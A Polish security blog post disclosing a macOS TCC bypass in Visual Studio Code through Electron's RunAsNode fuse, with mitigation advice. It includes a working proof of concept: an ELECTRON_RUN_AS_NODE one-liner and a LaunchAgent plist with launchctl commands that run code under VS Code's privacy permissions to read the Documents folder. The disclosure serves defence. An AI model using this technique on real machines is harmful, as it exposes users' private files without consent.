
Microsoft Visual Studio Code, jeden z najpopularniejszych edytorów kodu na świecie, zawiera podatność umożliwiającą atakującym obejście zabezpieczeń macOS Transparency, Consent, and Control (TCC). Microsoft odmówił załatania tej podatności, argumentując, że „nie spełnia ona kryteriów serwisowych ze względu na konieczność lokalnego dostępu”. Ponieważ wielu ludzi korzysta z tego oprogramowania, warto pamiętać o tym zagrożeniu. Jest to istotne, ponieważ VS Code często posiada wiele uprawnień TCC, w tym Pełny Dostęp do Dysku (Full Disk Access).
Jeśli pierwszy raz słyszysz o TCC, warto zacząć od „Zagrożenie związane z obchodzeniem TCC w systemie macOS”. Miłej lektury!
Podatność
Konfiguracja Electron w Visual Studio Code ma włączony bezpiecznik RunAsNode. Gdy ten bezpiecznik jest aktywny, aplikacja może zostać uruchomiona jako proces Node.js poprzez ustawienie zmiennej środowiskowej ELECTRON_RUN_AS_NODE. Ta błędna konfiguracja tworzy wektor ataku umożliwiający złośliwemu oprogramowaniu dziedziczenie wszystkich uprawnień TCC wcześniej przyznanych Visual Studio Code.

Według oficjalnej dokumentacji Electron, RunAsNode jest przeznaczony głównie do debugowania i testów i powinien być wyłączony w środowisku produkcyjnym, aby ograniczyć ryzyko.
Podatność sprowadza się do: Aplikacja A nie powinna móc korzystać z uprawnień TCC Aplikacji B, chyba że użytkownik wyraźnie na to zezwoli. Myślę, że Wojciech Reguła jako pierwszy opisał ten i inne problemy z bezpiecznikami Electron’a w artykule ELECTRONizing macOS privacy.
Wykorzystanie
Najprostszy atak polega na użyciu zmiennej środowiskowej ELECTRON_RUN_AS_NODE do wykonania dowolnego kodu Node.js w kontekście bezpieczeństwa Visual Studio Code i przejęcia wszystkich wcześniej przyznanych mu uprawnień TCC:
ELECTRON_RUN_AS_NODE=1 "/Applications/Visual Studio Code.app/Contents/MacOS/Electron" -e "require('child_process').execSync('echo poc > /tmp/orGTFO')"
Jednak jeśli wkleimy to tak po prostu do Terminala, odziedziczymy uprawnienia TCC nie od Visual Studio Code, lecz od Terminala. Czyli jest okej? Nie. Atakujący mogą wykorzystać tę podatność za pomocą LaunchAgents w macOS, co pozwala im przejąć kontekst TCC od aplikacji Electron, zamiast od aplikacji złośliwego oprogramowania:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.crimson.electron</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Visual Studio Code.app/Contents/MacOS/Electron</string>
<string>-e</string>
<string>
require('child_process').execSync('ls -la $HOME/Documents > /tmp/Documents.txt 2>&1');
</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>Następnie należy użyć narzędzia launchctl, aby załadować i uruchomić konfigurację agenta:
launchctl unload ~/Library/LaunchAgents/com.crimson.electron.plist
launchctl load ~/Library/LaunchAgents/com.crimson.electron.plistFilm poniżej pokazuje Proof of Concept:
Terminal służy tu jedynie do imitowania złośliwego oprogramowania. Każdy proces może wykorzystać tę technikę.
Środki zaradcze
Ponieważ Microsoft odmawia załatania problemu, powinniśmy ograniczyć uprawnienia TCC przyznane Visual Studio Code tylko do katalogów i zasobów niezbędnych do pracy. Organizacje powinny również wdrażać własne reguły w rozwiązaniach EDR (Endpoint Detection and Response), które będą w stanie wykrywać takie zachowania. Można też rozważyć migrację do edytorów kodu z lepszą konfiguracją bezpieczeństwa.
Na koniec – nie daj się zainfekować, ponieważ jest to zagrożenie wyłącznie lokalne.
Ostatnie słowa
Jeśli złośliwe oprogramowanie dostanie się na Twojego Maca, VS Code może przekazać mu dostęp do Twoich prywatnych danych bez pytania. Jednak ta metoda nie jest jedyną luką, którą Microsoft wprowadził w macOS TCC i której nie zamierza naprawić. W kolejnym artykule omówimy jeszcze poważniejszą podatność, której Microsoft również nie chce zaadresować, a która istnieje w wielu aplikacjach na macOS już od 2019 roku! Śledź blog AFINE, aby wkrótce dowiedzieć się więcej.




